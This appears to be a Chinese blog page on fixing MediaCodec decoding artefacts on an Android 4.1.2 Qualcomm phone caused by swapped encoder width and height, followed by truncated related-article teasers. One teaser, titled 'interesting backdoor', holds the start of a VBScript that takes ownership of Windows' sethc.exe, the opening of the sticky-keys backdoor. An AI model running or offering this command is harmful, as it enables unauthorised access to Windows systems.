平台： 高通8625q
軟體系統：android 4.1.2
mediacodec decoder解碼出的資料在c層通過opengl的介面繪製到glsu***ce上去。另外，由於使用的是手機，所以螢幕ui是豎屏。
問題現象：解碼乍一看顯示正常，但是揮揮手，快速的動一下，就發現螢幕上很多色點，甚至有橫向的雜線。
分析：最先懷疑是編碼器或者解碼器配置的問題，但是檢查了一下，沒發現**配置不對，後來用ffmpeg軟體解碼器來解碼，發現
解碼出來的畫面有四個重影，估計是寬和高弄錯了，於是更換mediacodec encoder的編碼寬高，發現ffmpeg解碼正常了，快速晃動
也沒有噪點、橫線。於是換回mediacodec decoder，發現解碼出來的影象也正常了。
總結：這個問題是由於編碼寬和高設定的問題，對於mediacodec encoder ，寬和高設反了也一樣可以編碼，同樣的寬和高設反了也
一樣可以解碼。但是，編碼器編碼出來的影象還是有隱藏的問題的，比如這個快速晃動會出現噪點的問題。
後記：坑爹的android系統，豎屏的時候，camera採集的影象是九十度的，用過camera.setpreviewcallback(new camera.previewcallback()｛｝；
介面的都知道這個問題。這樣手動編碼的時候還要把影象旋轉一下。
JDK HashMap幾個有意思的問題
hashmap的hash演算法 hash原始碼如下 做了什麼？為啥這麼做？hash碰撞怎麼做 hash衝突 鍊錶 紅黑樹 如果元素的key的hash值相同，則使用乙個鍊錶來存放。鍊錶查詢乙個元素的時間複雜度為 o n 鍊錶到達一定長度 8 則使用紅黑樹，紅黑樹尋找乙個元素的時間的時間複雜度為o lo...
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創，在cnblogs上也有，都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數，第乙個和第二個引數是必須的，第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在，也就是要麼...